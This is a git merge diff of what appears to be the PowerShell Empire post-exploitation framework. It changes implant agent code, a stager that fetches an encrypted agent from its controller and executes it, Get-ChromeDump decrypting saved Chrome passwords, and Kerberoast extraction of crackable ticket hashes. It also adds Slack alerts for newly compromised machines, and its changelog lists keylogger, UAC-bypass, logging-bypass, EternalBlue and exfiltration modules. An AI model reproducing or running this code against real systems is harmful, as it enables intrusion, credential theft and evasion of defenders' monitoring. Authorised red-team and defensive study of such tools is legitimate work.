Merge remote-tracking branch 'upstream/dev' into dev
commit
acdb393a01
27
changelog
27
changelog
|
@ -1,18 +1,37 @@
|
|||
Running
|
||||
--------
|
||||
- Update crontab to work hourly #667
|
||||
- Update keylogger to log to disk on server side by @clr2of8
|
||||
- Fix macro launcher #681
|
||||
- Fixes vbscript string literal quoting. #702
|
||||
- Add option to host a stager payload in the http listener @424f424f
|
||||
- Add @enigma0x3 Token Manipulation script as a BypassUAC module @424f424f
|
||||
- Hide true host name when using domain fronting #730 @clr2of8
|
||||
- Fixed custom proxy config in launcher code #728 @dirkjanm
|
||||
- generate_upload function added to Stagers #722 @hightopfade
|
||||
- Aes kerberoast #725 @elitest
|
||||
- DBX Improvements (SOCKS, Hide window via WindowHandler) #721 @IljaSchumacher
|
||||
- Improved ScriptBlock logging bypasses #740 @cobbr_io
|
||||
- Slack Integration - Notification for new Agents #737 @dchrastil
|
||||
- Improve Get-ChromeDump #734 @ThePirateWhoSmellsOfSunFlowers
|
||||
- Fix Eternal Blue Issue #656
|
||||
- Merge Invoke-Kerberoast: Print hashes only. Formatting with a text editor is no longer required. #663
|
||||
- Fix Macro syntax error per @utkusen issue #664
|
||||
- Fix Better powershell install, obfuscation bug fixes, fixed vbs/macro launchers #686 @cobbr
|
||||
- Fix creds manual add parsing with whitespace in password
|
||||
- Fix validate length parameter attribute for Invoke-PSInject.ps1d
|
||||
|
||||
8/28/2017
|
||||
--------
|
||||
- Version 2.1 Master Release
|
||||
-Add get schwifty trollsploit module @424f424f
|
||||
-Add -sta flag to launcher @xorrior
|
||||
-Fixed hardoced cert path @xorrior
|
||||
-Fixed hardcoded cert path @xorrior
|
||||
-Fix for #567
|
||||
-Merge Capture OSX credentials from Prompt Module in Empire DB @malcomvetter.
|
||||
-Rest Api fixups #526 @byt3bl33d3r
|
||||
-Rest API fixups #526 @byt3bl33d3r
|
||||
-Added MS16-135 exploit module @ThePirateWhoSmellsOfSunflowers
|
||||
-Updated Bloodhound Ingestion module @rvrsh3ll
|
||||
-Updated Bloodhound Ingestion module @424f424f
|
||||
-Added Dropbox exfil module @ktevora1
|
||||
-Added EternalBlue module @ktevora1
|
||||
-Fix SSL certificate issue with Flask @diskonnect
|
||||
|
@ -24,7 +43,7 @@ Running
|
|||
-Add ‘SandboxMode’ to evade Apple Sandbox protection on applescript #578 @dchrastil
|
||||
-Add Obfuscated Empire #597 @cobbr
|
||||
-Add Bypass ScriptBlock Logging #603 @cobbr
|
||||
-Add mimipenguin module @rvrsh3ll
|
||||
-Add mimipenguin module @424f424f
|
||||
-Add dyld_print_to_file Mac privesc @checkyfuntime
|
||||
-Added manual proxy specifications @xorrior
|
||||
-Fix libssl-dev and libssl1.0.0 packages @xorrior
|
||||
|
|
|
@ -114,6 +114,10 @@ function Invoke-Empire {
|
|||
$script:KillDate = (Get-Date).AddDays($KillDays).ToString('MM/dd/yyyy')
|
||||
}
|
||||
|
||||
if($KillDate -ne "REPLACE_KILLDATE" -and $KillDate -ne $null) {
|
||||
$script:KillDate = $KillDate
|
||||
}
|
||||
|
||||
# get all the headers/etc. in line for our comms
|
||||
# Profile format:
|
||||
# uris(comma separated)|UserAgent|header1=val|header2=val2...
|
||||
|
|
|
@ -42,9 +42,9 @@ missedCheckins = 0
|
|||
jobMessageBuffer = ''
|
||||
|
||||
# killDate form -> "MO/DAY/YEAR"
|
||||
killDate = ''
|
||||
killDate = 'REPLACE_KILLDATE'
|
||||
# workingHours form -> "9:00-17:00"
|
||||
workingHours = ''
|
||||
workingHours = 'REPLACE_WORKINGHOURS'
|
||||
|
||||
parts = profile.split('|')
|
||||
taskURIs = parts[0].split(',')
|
||||
|
@ -880,7 +880,7 @@ def get_file_part(filePath, offset=0, chunkSize=512000, base64=True):
|
|||
|
||||
while(True):
|
||||
try:
|
||||
if workingHours != '':
|
||||
if workingHours != '' and 'WORKINGHOURS' not in workingHours:
|
||||
try:
|
||||
start,end = workingHours.split('-')
|
||||
now = datetime.datetime.now()
|
||||
|
@ -897,10 +897,14 @@ while(True):
|
|||
|
||||
# check if we're past the killdate for this agent
|
||||
# killDate form -> MO/DAY/YEAR
|
||||
if killDate != "":
|
||||
if killDate != "" and 'KILLDATE' not in killDate:
|
||||
now = datetime.datetime.now().date()
|
||||
killDateTime = datetime.datetime.strptime(killDate, "%m/%d/%Y").date()
|
||||
if now > killDateTime:
|
||||
try:
|
||||
killDateTime = datetime.datetime.strptime(killDate, "%m/%d/%Y").date()
|
||||
except:
|
||||
pass
|
||||
|
||||
if now >= killDateTime:
|
||||
msg = "[!] Agent %s exiting" %(sessionID)
|
||||
send_message(build_response_packet(2, msg))
|
||||
agent_exit()
|
||||
|
|
|
@ -224,7 +224,7 @@ function Start-Negotiate {
|
|||
[GC]::Collect();
|
||||
|
||||
# TODO: remove this shitty $server logic
|
||||
Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -ProxySettings $Script:Proxy;
|
||||
Invoke-Empire -Servers @(($s -split "/")[0..2] -join "/") -StagingKey $SK -SessionKey $key -SessionID $ID -WorkingHours "WORKING_HOURS_REPLACE" -KillDate "REPLACE_KILLDATE" -ProxySettings $Script:Proxy;
|
||||
}
|
||||
# $ser is the server populated from the launcher code, needed here in order to facilitate hop listeners
|
||||
Start-Negotiate -s "$ser" -SK 'REPLACE_STAGING_KEY' -UA $u;
|
||||
|
|
|
@ -799,6 +799,8 @@ sessionID = ''.join(random.choice(string.ascii_uppercase + string.digits) for _
|
|||
# server configuration information
|
||||
stagingKey = "REPLACE_STAGING_KEY"
|
||||
profile = 'REPLACE_PROFILE'
|
||||
WorkingHours = 'SET_WORKINGHOURS'
|
||||
KillDate = 'SET_KILLDATE'
|
||||
|
||||
parts = profile.split('|')
|
||||
taskURIs = parts[0].split(',')
|
||||
|
@ -863,4 +865,6 @@ response = post_message(postURI, routingPacket)
|
|||
|
||||
# step 6 -> server sends HMAC(AES)
|
||||
agent = aes_decrypt_and_verify(key, response)
|
||||
agent = agent.replace('REPLACE_WORKINGHOURS', WorkingHours)
|
||||
agent = agent.replace('REPLACE_KILLDATE', KillDate)
|
||||
exec(agent)
|
||||
|
|
|
@ -1,46 +0,0 @@
|
|||
-----BEGIN PRIVATE KEY-----
|
||||
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDT8qCR+GR2lVKG
|
||||
M6G7pABaOIfCQKvzO3eckz8q+jVq2HgI34AvIg4tctgEnh4r1euxKtMkkSRmvedT
|
||||
zZgPKh0UaEjROs5rIbXeRhqE7Ey6oVXcJG7DLYZ/Awk1G3Yi+TmtzRGGfE3VJ61O
|
||||
V+gzTH2Q7jayFF1sNdpBk2Rs4I2VU46k/UWyHnPzIxbPlkBa5D/LiPnI+/b6qpqk
|
||||
p/fsvewb6Xqb3PujemF+y/4jiHDtE9KicgxDh9u3niTi8Bg7fOWfBbhMaGIzITkK
|
||||
WFXpJe9feDqxhoys5qUh8hfccFdNXz6QCBZiw5COq6s8ybimOBrmEs09IdGZi86T
|
||||
bwGOQI3XAgMBAAECggEBANNjZiqwJuLuw0P+MwzG4WMahqyDe/w4D3AmnBXtP2G1
|
||||
TOLspxhbSvChXjocydLGpTAqmjQaXsfqF9JJd6OISUCVUir8D+xhztZF7SUt2Mk7
|
||||
KDtMSvx3Z3E+Qeyp2wW+tHxXz2bmi2pRDFTa8EhZvdLTA9JQ5WyLuYc1zi+ZNxz6
|
||||
SzybS0Th9RJT0crPuhxEHxAN50pc61trRnI2YHYTaW4ArRbNFXImqRLsU9l9h9kz
|
||||
VVlVoP9oIJos2a40Osi3Du+6tmVFWcs9+fxxNnY1sfVrAVk6nHI40Vln4Ul+BZyo
|
||||
ZP8SMnxI9NoSMJahymjkcZad3tbwgvjq+yaQck1alGECgYEA/V14iLkCJoUK6dmU
|
||||
zhR8p3Pycxy19s0CSSqPYvvnENfxarimOHW6nIMu0eDMXLVnIHAXsr81zWkeh4eP
|
||||
GPEUSqclGwkXp4yHirMtoTFWhbo16QMSEFBKUHmwNJNSzScLR5jRGgVJapXr+qsN
|
||||
WNlR3ifF+Ki6f87io9u8/rwUut0CgYEA1ibkSUs2POa0UcAXtE7G/Rsc7aEuVo9b
|
||||
U+I5uIhMvveKm0Ff2oo1yQzDSxmjFhYzBeXsBQ6Jy796EcaLFpUc9H08kOsJq9gP
|
||||
JAfSMljLasrqqAQ6J37CAmbEqHQ3MEdEFqUIk6Cf0iVmphXexd7LaDx2IuAy5Kfn
|
||||
3MXH4KVo3kMCgYA2Yv4guzYO9rglAqPCqPspJuaAd0VIOTGoaw5kfRZYs0ILWp+z
|
||||
tvHb7vz56Ht12yrL98PehtURxuLazOqWvAlTDRYV+5msSao+x7+fvmuIQTSZVCNo
|
||||
hROuurBsWMOJbjwpnlAkecYMryn8oQM4c03zli4U9oMyNELKUbz8IXuBsQKBgQC0
|
||||
4/klKBDSdJWQEFB1j61qEsLmvqVjnIgqXQcgppEdJf/AkQIkmWZBQzSbdTZa67mB
|
||||
m+s3gkZHAqBb73eBRcdFhZvpVX+/1itD5g9ZU8PPm0OHVLrCrcG3QZOQL0qGz0vm
|
||||
TNTnzl/xpIIGfKbGQSFUFO49G2Ah4Oprg+0IBvCD/QKBgQCZcIjPZDWMIRg/Q4Fj
|
||||
ypUb59p8wCQHMuZNwuxRTwjQkAp3xpqYNIBafHSlPzNf8BWzx+orsLnh6RJbA8uB
|
||||
9++4Wu01u4JofuGdVqN73AJBx8eQEJkJsPNEwxSv4Swzwkw5mGkqi5UzPFMlwwQi
|
||||
DIF8+rA64PoZDIUB3UkV0i70ng==
|
||||
-----END PRIVATE KEY-----
|
||||
-----BEGIN CERTIFICATE-----
|
||||
MIIC8DCCAdigAwIBAgIJAIVXuX8kX4CxMA0GCSqGSIb3DQEBCwUAMA0xCzAJBgNV
|
||||
BAYTAlVTMB4XDTE3MDUxNzA1NDkxNVoXDTE4MDUxNzA1NDkxNVowDTELMAkGA1UE
|
||||
BhMCVVMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDT8qCR+GR2lVKG
|
||||
M6G7pABaOIfCQKvzO3eckz8q+jVq2HgI34AvIg4tctgEnh4r1euxKtMkkSRmvedT
|
||||
zZgPKh0UaEjROs5rIbXeRhqE7Ey6oVXcJG7DLYZ/Awk1G3Yi+TmtzRGGfE3VJ61O
|
||||
V+gzTH2Q7jayFF1sNdpBk2Rs4I2VU46k/UWyHnPzIxbPlkBa5D/LiPnI+/b6qpqk
|
||||
p/fsvewb6Xqb3PujemF+y/4jiHDtE9KicgxDh9u3niTi8Bg7fOWfBbhMaGIzITkK
|
||||
WFXpJe9feDqxhoys5qUh8hfccFdNXz6QCBZiw5COq6s8ybimOBrmEs09IdGZi86T
|
||||
bwGOQI3XAgMBAAGjUzBRMB0GA1UdDgQWBBRietD7PGv5ivWBLRJMyra4elWlLjAf
|
||||
BgNVHSMEGDAWgBRietD7PGv5ivWBLRJMyra4elWlLjAPBgNVHRMBAf8EBTADAQH/
|
||||
MA0GCSqGSIb3DQEBCwUAA4IBAQCOU0aqgYba7aD7/7pV3rZrTFC+kwUs3TZ0/xWi
|
||||
CZA8aN5+TRQDdvOUM1fqyJx5Y7uv+V9gafHwJAc7FZ9643zS6Zt0I2eUrbP9dmg7
|
||||
sj8u19Isdy0EetDGXeyA7r+BRUSkFpKbXZYWE7rUr7t3QkROyGbU2ebEE/S2RnBc
|
||||
A+/d7waKqIyu7wlmcP2jUgQjiwDiWJAuGeb9gJGsTjCj1I4z6rk6/xpnXV70ovG7
|
||||
jUNm6tOTkxB5pgEel/2gHs/KZVld9gYSoh5GnJWtlFQYvZGaMEK419hfTMElLoQY
|
||||
8JL+XvYxkA/4+zXtQS3ZgslAAZlh96Nx8SU8QWJ4qJ2jYQJg
|
||||
-----END CERTIFICATE-----
|
Binary file not shown.
Binary file not shown.
|
@ -139,18 +139,25 @@ Function Get-ChromeDump{
|
|||
|
||||
$logins = @()
|
||||
|
||||
# https://github.com/adobe/chromium/blob/master/webkit/forms/password_form.h#L45-L50
|
||||
$scheme_enum = @{0 = "HTML";1 = "BASIC";2 = "DIGEST"; 3 = "OTHER"}
|
||||
|
||||
Write-Verbose "Parsing results of query $query"
|
||||
|
||||
$dataset.Tables | Select-Object -ExpandProperty Rows | ForEach-Object {
|
||||
$encryptedBytes = $_.password_value
|
||||
$username = $_.username_value
|
||||
$url = $_.action_url
|
||||
$action_url = $_.action_url
|
||||
$origin_url = $_.origin_url
|
||||
$scheme = $scheme_enum[[int]$_.scheme]
|
||||
$decryptedBytes = [Security.Cryptography.ProtectedData]::Unprotect($encryptedBytes, $null, [Security.Cryptography.DataProtectionScope]::CurrentUser)
|
||||
$plaintext = [System.Text.Encoding]::ASCII.GetString($decryptedBytes)
|
||||
$login = New-Object PSObject -Property @{
|
||||
URL = $url
|
||||
ORIGIN_URL = $origin_url
|
||||
ACTION_URL = $action_url
|
||||
PWD = $plaintext
|
||||
User = $username
|
||||
USER = $username
|
||||
SCHEME = $scheme
|
||||
}
|
||||
|
||||
$logins += $login
|
||||
|
@ -185,7 +192,7 @@ Function Get-ChromeDump{
|
|||
|
||||
if(!($OutFile)){
|
||||
"[*]CHROME PASSWORDS`n"
|
||||
$logins | Format-Table URL,User,PWD -AutoSize | Out-String
|
||||
$logins | Format-List ORIGIN_URL, ACTION_URL, PWD, USER, SCHEME | Out-String
|
||||
|
||||
"[*]CHROME HISTORY`n"
|
||||
|
||||
|
@ -205,4 +212,4 @@ Function Get-ChromeDump{
|
|||
|
||||
|
||||
|
||||
}
|
||||
}
|
||||
|
|
|
@ -562,6 +562,7 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
|||
}
|
||||
if ($TicketByteStream) {
|
||||
$TicketHexStream = [System.BitConverter]::ToString($TicketByteStream) -replace '-'
|
||||
$encType = [Convert]::ToInt32(($TicketHexStream -replace ".*A0030201")[0..1] -join "", 16)
|
||||
[System.Collections.ArrayList]$Parts = ($TicketHexStream -replace '^(.*?)04820...(.*)','$2') -Split 'A48201'
|
||||
$Parts.RemoveAt($Parts.Count - 1)
|
||||
$Hash = $Parts -join 'A48201'
|
||||
|
@ -582,13 +583,17 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
|||
else {
|
||||
$UserDomain = 'UNKNOWN'
|
||||
}
|
||||
|
||||
# hashcat output format
|
||||
$HashFormat = "`$krb5tgs`$23`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
|
||||
$HashFormat = "`$krb5tgs`$$encType`$*$SamAccountName`$$UserDomain`$$($Ticket.ServicePrincipalName)*`$$Hash"
|
||||
|
||||
}
|
||||
$Out | Add-Member Noteproperty 'Hash' $HashFormat
|
||||
$Out.PSObject.TypeNames.Insert(0, 'PowerView.SPNTicket')
|
||||
Write-Output $Out
|
||||
#Prints the PS Object
|
||||
#Write-Output $Out
|
||||
|
||||
#Prints just the hashes
|
||||
Write-Output $HashFormat
|
||||
}
|
||||
}
|
||||
}
|
||||
|
@ -1077,4 +1082,4 @@ Outputs a custom object containing the SamAccountName, ServicePrincipalName, and
|
|||
Invoke-RevertToSelf -TokenHandle $LogonToken
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
|
File diff suppressed because one or more lines are too long
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
6
empire
6
empire
|
@ -4,6 +4,7 @@ import sqlite3, argparse, sys, argparse, logging, json, string
|
|||
import os, re, time, signal, copy, base64, pickle
|
||||
from flask import Flask, request, jsonify, make_response, abort, url_for
|
||||
from time import localtime, strftime, sleep
|
||||
import hashlib
|
||||
from OpenSSL import SSL
|
||||
from Crypto.Random import random
|
||||
import ssl
|
||||
|
@ -199,7 +200,6 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
|||
# suppress all stdout and don't initiate the main cmdloop
|
||||
sys.stdout = open(os.devnull, 'w')
|
||||
|
||||
|
||||
# validate API token before every request except for the login URI
|
||||
@app.before_request
|
||||
def check_token():
|
||||
|
@ -1160,7 +1160,7 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
|||
return jsonify({'success': True})
|
||||
|
||||
|
||||
if not os.path.exists('./data/empire.pem'):
|
||||
if not os.path.exists('./data/empire-chain.pem'):
|
||||
print "[!] Error: cannot find certificate ./data/empire.pem"
|
||||
sys.exit()
|
||||
|
||||
|
@ -1220,7 +1220,6 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
|||
signal.signal(signal.SIGINT, signal.default_int_handler)
|
||||
sys.exit()
|
||||
|
||||
|
||||
try:
|
||||
signal.signal(signal.SIGINT, signal_handler)
|
||||
except ValueError:
|
||||
|
@ -1233,7 +1232,6 @@ def start_restful_api(empireMenu, suppress=False, username=None, password=None,
|
|||
app.run(host='0.0.0.0', port=int(port), ssl_context=context, threaded=True)
|
||||
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
|
||||
parser = argparse.ArgumentParser()
|
||||
|
|
|
@ -1321,10 +1321,17 @@ class Agents:
|
|||
# update the agent with this new information
|
||||
self.mainMenu.agents.update_agent_sysinfo_db(sessionID, listener=listenerName, internal_ip=internal_ip, username=username, hostname=hostname, os_details=os_details, high_integrity=high_integrity, process_name=process_name, process_id=process_id, language_version=language_version, language=language)
|
||||
|
||||
# signal everyone that this agent is now active
|
||||
dispatcher.send("[+] Initial agent %s from %s now active" % (sessionID, clientIP), sender='Agents')
|
||||
# signal to Slack that this agent is now active
|
||||
output = "[+] Agent %s now active:\n" % (sessionID)
|
||||
|
||||
slackToken = listenerOptions['SlackToken']['Value']
|
||||
slackChannel = listenerOptions['SlackChannel']['Value']
|
||||
if slackToken != "":
|
||||
slackText = ":biohazard: NEW AGENT :biohazard:\r\n```Machine Name: %s\r\nInternal IP: %s\r\nExternal IP: %s\r\nUser: %s\r\nOS Version: %s\r\nAgent ID: %s```" % (hostname,internal_ip,external_ip,username,os_details,sessionID)
|
||||
helpers.slackMessage(slackToken,slackChannel,slackText)
|
||||
|
||||
# signal everyone that this agent is now active
|
||||
dispatcher.send("[+] Initial agent %s from %s now active (Slack)" % (sessionID, clientIP), sender='Agents')
|
||||
|
||||
# save the initial sysinfo information in the agent log
|
||||
agent = self.mainMenu.agents.get_agent_db(sessionID)
|
||||
output = messages.display_agent(agent, returnAsString=True)
|
||||
|
|
|
@ -9,7 +9,7 @@ menu loops.
|
|||
"""
|
||||
|
||||
# make version for Empire
|
||||
VERSION = "2.1"
|
||||
VERSION = "2.2"
|
||||
|
||||
from pydispatch import dispatcher
|
||||
|
||||
|
@ -20,6 +20,7 @@ import os
|
|||
import hashlib
|
||||
import time
|
||||
import fnmatch
|
||||
import shlex
|
||||
|
||||
# Empire imports
|
||||
import helpers
|
||||
|
@ -468,10 +469,10 @@ class MainMenu(cmd.Cmd):
|
|||
if filterTerm == "":
|
||||
creds = self.credentials.get_credentials()
|
||||
|
||||
elif filterTerm.split()[0].lower() == "add":
|
||||
elif shlex.split(filterTerm)[0].lower() == "add":
|
||||
|
||||
# add format: "domain username password <notes> <credType> <sid>
|
||||
args = filterTerm.split()[1:]
|
||||
args = shlex.split(filterTerm)[1:]
|
||||
|
||||
if len(args) == 3:
|
||||
domain, username, password = args
|
||||
|
@ -502,10 +503,10 @@ class MainMenu(cmd.Cmd):
|
|||
|
||||
creds = self.credentials.get_credentials()
|
||||
|
||||
elif filterTerm.split()[0].lower() == "remove":
|
||||
elif shlex.split(filterTerm)[0].lower() == "remove":
|
||||
|
||||
try:
|
||||
args = filterTerm.split()[1:]
|
||||
args = shlex.split(filterTerm)[1:]
|
||||
if len(args) != 1:
|
||||
print helpers.color("[!] Format is 'remove <credID>/<credID-credID>/all'")
|
||||
else:
|
||||
|
@ -531,8 +532,8 @@ class MainMenu(cmd.Cmd):
|
|||
return
|
||||
|
||||
|
||||
elif filterTerm.split()[0].lower() == "export":
|
||||
args = filterTerm.split()[1:]
|
||||
elif shlex.split(filterTerm)[0].lower() == "export":
|
||||
args = shlex.split(filterTerm)[1:]
|
||||
|
||||
if len(args) != 1:
|
||||
print helpers.color("[!] Please supply an output filename/filepath.")
|
||||
|
@ -541,13 +542,13 @@ class MainMenu(cmd.Cmd):
|
|||
self.credentials.export_credentials(args[0])
|
||||
return
|
||||
|
||||
elif filterTerm.split()[0].lower() == "plaintext":
|
||||
elif shlex.split(filterTerm)[0].lower() == "plaintext":
|
||||
creds = self.credentials.get_credentials(credtype="plaintext")
|
||||
|
||||
elif filterTerm.split()[0].lower() == "hash":
|
||||
elif shlex.split(filterTerm)[0].lower() == "hash":
|
||||
creds = self.credentials.get_credentials(credtype="hash")
|
||||
|
||||
elif filterTerm.split()[0].lower() == "krbtgt":
|
||||
elif shlex.split(filterTerm)[0].lower() == "krbtgt":
|
||||
creds = self.credentials.get_krbtgt()
|
||||
|
||||
else:
|
||||
|
@ -761,6 +762,7 @@ class MainMenu(cmd.Cmd):
|
|||
else:
|
||||
files = [self.installPath + 'data/module_source/' + module]
|
||||
for file in files:
|
||||
file = self.installPath + file
|
||||
if reobfuscate or not helpers.is_obfuscated(file):
|
||||
print helpers.color("[*] Obfuscating " + os.path.basename(file) + "...")
|
||||
else:
|
||||
|
@ -1577,7 +1579,7 @@ class PowerShellAgentMenu(SubMenu):
|
|||
|
||||
try:
|
||||
choice = raw_input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
|
||||
if choice.lower() != "" and choice.lower()[0] == "y":
|
||||
if choice.lower() == "y":
|
||||
|
||||
self.mainMenu.agents.add_agent_task_db(self.sessionID, 'TASK_EXIT')
|
||||
# update the agent log
|
||||
|
@ -2333,7 +2335,7 @@ class PythonAgentMenu(SubMenu):
|
|||
|
||||
try:
|
||||
choice = raw_input(helpers.color("[>] Task agent to exit? [y/N] ", "red"))
|
||||
if choice.lower() != "" and choice.lower()[0] == "y":
|
||||
if choice.lower() == "y":
|
||||
|
||||
self.mainMenu.agents.add_agent_task_db(self.sessionID, 'TASK_EXIT')
|
||||
# update the agent log
|
||||
|
|
|
@ -35,6 +35,7 @@ Includes:
|
|||
complete_path() - helper to tab-complete file paths
|
||||
dict_factory() - helper that returns the SQLite query results as a dictionary
|
||||
KThread() - a subclass of threading.Thread, with a kill() method
|
||||
slackMessage() - send notifications to the Slack API
|
||||
|
||||
"""
|
||||
|
||||
|
@ -54,6 +55,7 @@ from time import localtime, strftime
|
|||
from Crypto.Random import random
|
||||
import subprocess
|
||||
import fnmatch
|
||||
import urllib, urllib2
|
||||
|
||||
###############################################################
|
||||
#
|
||||
|
@ -65,7 +67,7 @@ def validate_ip(IP):
|
|||
"""
|
||||
Uses iptools to validate an IP.
|
||||
"""
|
||||
try:
|
||||
try:
|
||||
validate_IPv4 = iptools.ipv4.validate_ip(IP)
|
||||
validate_IPv6 = iptools.ipv6.validate_ip(IP)
|
||||
|
||||
|
@ -91,7 +93,7 @@ def validate_ntlm(data):
|
|||
|
||||
def generate_ip_list(s):
|
||||
"""
|
||||
Takes a comma separated list of IP/range/CIDR addresses and
|
||||
Takes a comma separated list of IP/range/CIDR addresses and
|
||||
generates an IP range list.
|
||||
"""
|
||||
|
||||
|
@ -103,7 +105,7 @@ def generate_ip_list(s):
|
|||
ranges = ""
|
||||
if s and s != "":
|
||||
parts = s.split(",")
|
||||
|
||||
|
||||
for part in parts:
|
||||
p = part.split("-")
|
||||
if len(p) == 2:
|
||||
|
@ -119,7 +121,7 @@ def generate_ip_list(s):
|
|||
return eval("iptools.IpRangeList("+ranges+")")
|
||||
else:
|
||||
return None
|
||||
|
||||
|
||||
else:
|
||||
return None
|
||||
|
||||
|
@ -211,13 +213,13 @@ def strip_powershell_comments(data):
|
|||
Strip block comments, line comments, empty lines, verbose statements,
|
||||
and debug statements from a PowerShell source file.
|
||||
"""
|
||||
|
||||
|
||||
# strip block comments
|
||||
strippedCode = re.sub(re.compile('<#.*?#>', re.DOTALL), '\n', data)
|
||||
|
||||
# strip blank lines, lines starting with #, and verbose/debug statements
|
||||
strippedCode = "\n".join([line for line in strippedCode.split('\n') if ((line.strip() != '') and (not line.strip().startswith("#")) and (not line.strip().lower().startswith("write-verbose ")) and (not line.strip().lower().startswith("write-debug ")) )])
|
||||
|
||||
|
||||
return strippedCode
|
||||
|
||||
|
||||
|
@ -237,7 +239,7 @@ def get_powerview_psreflect_overhead(script):
|
|||
else:
|
||||
# otherwise extracting from PowerView
|
||||
pattern = re.compile(r'\n\$Mod =.*\[\'wtsapi32\'\]', re.DOTALL)
|
||||
|
||||
|
||||
try:
|
||||
return strip_powershell_comments(pattern.findall(script)[0])
|
||||
except:
|
||||
|
@ -247,7 +249,7 @@ def get_powerview_psreflect_overhead(script):
|
|||
|
||||
def get_dependent_functions(code, functionNames):
|
||||
"""
|
||||
Helper that takes a chunk of PowerShell code and a set of function
|
||||
Helper that takes a chunk of PowerShell code and a set of function
|
||||
names and returns the unique set of function names within the script block.
|
||||
"""
|
||||
|
||||
|
@ -307,13 +309,13 @@ def find_all_dependent_functions(functions, functionsToProcess, resultFunctions=
|
|||
def generate_dynamic_powershell_script(script, functionNames):
|
||||
"""
|
||||
Takes a PowerShell script and a function name (or array of function names,
|
||||
generates a dictionary of "[functionNames] -> functionCode", and recursively
|
||||
generates a dictionary of "[functionNames] -> functionCode", and recursively
|
||||
maps all dependent functions for the specified function name.
|
||||
|
||||
A script is returned with only the code necessary for the given
|
||||
functionName, stripped of comments and whitespace.
|
||||
|
||||
Note: for PowerView, it will also dynamically detect if psreflect
|
||||
Note: for PowerView, it will also dynamically detect if psreflect
|
||||
overhead is needed and add it to the result script.
|
||||
"""
|
||||
|
||||
|
@ -335,7 +337,7 @@ def generate_dynamic_powershell_script(script, functionNames):
|
|||
# start building the new result script
|
||||
functionDependencies = []
|
||||
|
||||
for functionName in functionNames:
|
||||
for functionName in functionNames:
|
||||
functionDependencies += find_all_dependent_functions(functions, functionName, [])
|
||||
functionDependencies = unique(functionDependencies)
|
||||
|
||||
|
@ -369,12 +371,12 @@ def parse_credentials(data):
|
|||
if parts[0].startswith("Hostname:"):
|
||||
return parse_mimikatz(data)
|
||||
|
||||
# collection/prompt output
|
||||
# powershell/collection/prompt output
|
||||
elif parts[0].startswith("[+] Prompted credentials:"):
|
||||
|
||||
|
||||
parts = parts[0].split("->")
|
||||
if len(parts) == 2:
|
||||
|
||||
|
||||
username = parts[1].split(":",1)[0].strip()
|
||||
password = parts[1].split(":",1)[1].strip()
|
||||
|
||||
|
@ -383,13 +385,20 @@ def parse_credentials(data):
|
|||
username = username.split("\\")[1].strip()
|
||||
else:
|
||||
domain = ""
|
||||
|
||||
|
||||
return [("plaintext", domain, username, password, "", "")]
|
||||
|
||||
else:
|
||||
print color("[!] Error in parsing prompted credential output.")
|
||||
return None
|
||||
|
||||
# python/collection/prompt (Mac OS)
|
||||
elif "text returned:" in parts[0]:
|
||||
parts2 = parts[0].split("text returned:")
|
||||
if len(parts2) >= 2:
|
||||
password = parts2[-1]
|
||||
return [("plaintext", "", "", password, "", "")]
|
||||
|
||||
else:
|
||||
return None
|
||||
|
||||
|
@ -431,7 +440,7 @@ def parse_mimikatz(data):
|
|||
|
||||
lines2 = match.split("\n")
|
||||
username, domain, password = "", "", ""
|
||||
|
||||
|
||||
for line in lines2:
|
||||
try:
|
||||
if "Username" in line:
|
||||
|
@ -444,7 +453,7 @@ def parse_mimikatz(data):
|
|||
pass
|
||||
|
||||
if username != "" and password != "" and password != "(null)":
|
||||
|
||||
|
||||
sid = ""
|
||||
|
||||
# substitute the FQDN in if it matches
|
||||
|
@ -565,7 +574,7 @@ def get_datetime():
|
|||
Return the current date/time
|
||||
"""
|
||||
return strftime("%Y-%m-%d %H:%M:%S", localtime())
|
||||
|
||||
|
||||
|
||||
def get_file_datetime():
|
||||
"""
|
||||
|
@ -628,7 +637,7 @@ def lhost():
|
|||
for ifname in interfaces:
|
||||
if "lo" not in ifname:
|
||||
try:
|
||||
ip = get_interface_ip(ifname)
|
||||
ip = get_interface_ip(ifname)
|
||||
if ip != "":
|
||||
break
|
||||
except:
|
||||
|
@ -641,11 +650,11 @@ def color(string, color=None):
|
|||
"""
|
||||
Change text color for the Linux terminal.
|
||||
"""
|
||||
|
||||
|
||||
attr = []
|
||||
# bold
|
||||
attr.append('1')
|
||||
|
||||
|
||||
if color:
|
||||
if color.lower() == "red":
|
||||
attr.append('31')
|
||||
|
@ -672,7 +681,7 @@ def color(string, color=None):
|
|||
def unique(seq, idfun=None):
|
||||
"""
|
||||
Uniquifies a list, order preserving.
|
||||
|
||||
|
||||
from http://www.peterbe.com/plog/uniqifiers-benchmark
|
||||
"""
|
||||
if idfun is None:
|
||||
|
@ -693,7 +702,7 @@ def unique(seq, idfun=None):
|
|||
def uniquify_tuples(tuples):
|
||||
"""
|
||||
Uniquifies Mimikatz tuples based on the password.
|
||||
|
||||
|
||||
cred format- (credType, domain, username, password, hostname, sid)
|
||||
"""
|
||||
seen = set()
|
||||
|
@ -738,7 +747,7 @@ def complete_path(text, line, arg=False):
|
|||
else:
|
||||
# if we have "command path"
|
||||
argData = line.split()[0:]
|
||||
|
||||
|
||||
if not argData or len(argData) == 1:
|
||||
completions = os.listdir('./')
|
||||
else:
|
||||
|
@ -746,7 +755,7 @@ def complete_path(text, line, arg=False):
|
|||
if part == '':
|
||||
dir = './'
|
||||
elif dir == '':
|
||||
dir = '/'
|
||||
dir = '/'
|
||||
|
||||
completions = []
|
||||
for f in os.listdir(dir):
|
||||
|
@ -782,7 +791,7 @@ def get_module_source_files():
|
|||
paths.append(os.path.join(root, filename))
|
||||
